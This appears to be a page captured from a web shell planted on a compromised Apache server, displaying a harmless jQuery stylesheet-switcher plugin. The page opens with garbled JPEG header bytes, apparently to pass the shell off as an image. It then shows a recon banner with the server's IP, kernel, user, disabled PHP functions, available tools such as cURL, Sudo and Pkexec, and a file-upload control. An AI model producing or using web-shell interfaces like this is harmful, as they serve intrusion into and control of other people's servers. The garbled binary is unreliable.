����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����
Server IP : 74.208.127.88 / Your IP : 18.116.47.33 Web Server : Apache/2.4.41 (Ubuntu) System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64 User : www-data ( 33) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/html/switchstylesheet/ |
Upload File : |
/*-------------------------------------------------------------------- * Copyright (c) 2009 Vision Master Designs * Licensed under GPL (http://www.opensource.org/licenses/gpl-license.php) * JQuery Plugin : "Switch Stylesheet" * Author : Michael (http://www.visionmasterdesigns.com) * Version : 1.0 * Description : Based on the superb stylesheet switcher plugin by By Kelvin Luck ( http://www.kelvinluck.com/ ). Can create multiple groups of alternate stylesheets to change Ex : Alternate Stylesheets : <!-- alternate css for colors --> <link href="green.css" type="text/css" rel="alternate stylesheet" title="green-color" /> <link href="blue.css" type="text/css" rel="alternate stylesheet" title="blue-color" /> JS Code : <script type="text/javascript"> $(document).ready(function(){ $(".changecolor").switchstylesheet( { seperator:"color"} ); }); </script> Usage : <a href="#" class="changecolor" title="red-color">Red</a> | <a href="#" class="changecolor" title="green-color">Green</a> | <a href="#" class="changecolor" title="blue-color">Blue</a> ------------------------------------------------------------------------*/ $.fn.switchstylesheet = function(options) { //default vals defaults = { seperator : 'alt' }; var options = $.extend(defaults, options); //read the style var c = cookie.readCookie(options.seperator); if (c) switchss(c); //goes thru the links to find out the ones having the selector $(this).click(function() { var title = $(this).attr('title'); //gets the title=? switchss(title); return false; }); function switchss(title) { //goes thru all the styles having seperator - alt $('link[rel*=style][title*='+options.seperator+']').each(function(i) { this.disabled = true; if ($(this).attr('title') == title) { this.disabled = false; } }); //create a cookie to store the style cookie.createCookie(options.seperator, title, 365); } }; //cookie functions var cookie; (function($) { cookie = { createCookie: function(name,value,days) { if (days) { var date = new Date(); date.setTime(date.getTime()+(days*24*60*60*1000)); var expires = "; expires="+date.toGMTString(); } else var expires = ""; document.cookie = name+"="+value+expires+"; path=/"; }, readCookie: function(name) { var nameEQ = name + "="; var ca = document.cookie.split(';'); for(var i=0;i < ca.length;i++) { var c = ca[i]; while (c.charAt(0)==' ') c = c.substring(1,c.length); if (c.indexOf(nameEQ) == 0) return c.substring(nameEQ.length,c.length); } return null; } }; })(jQuery);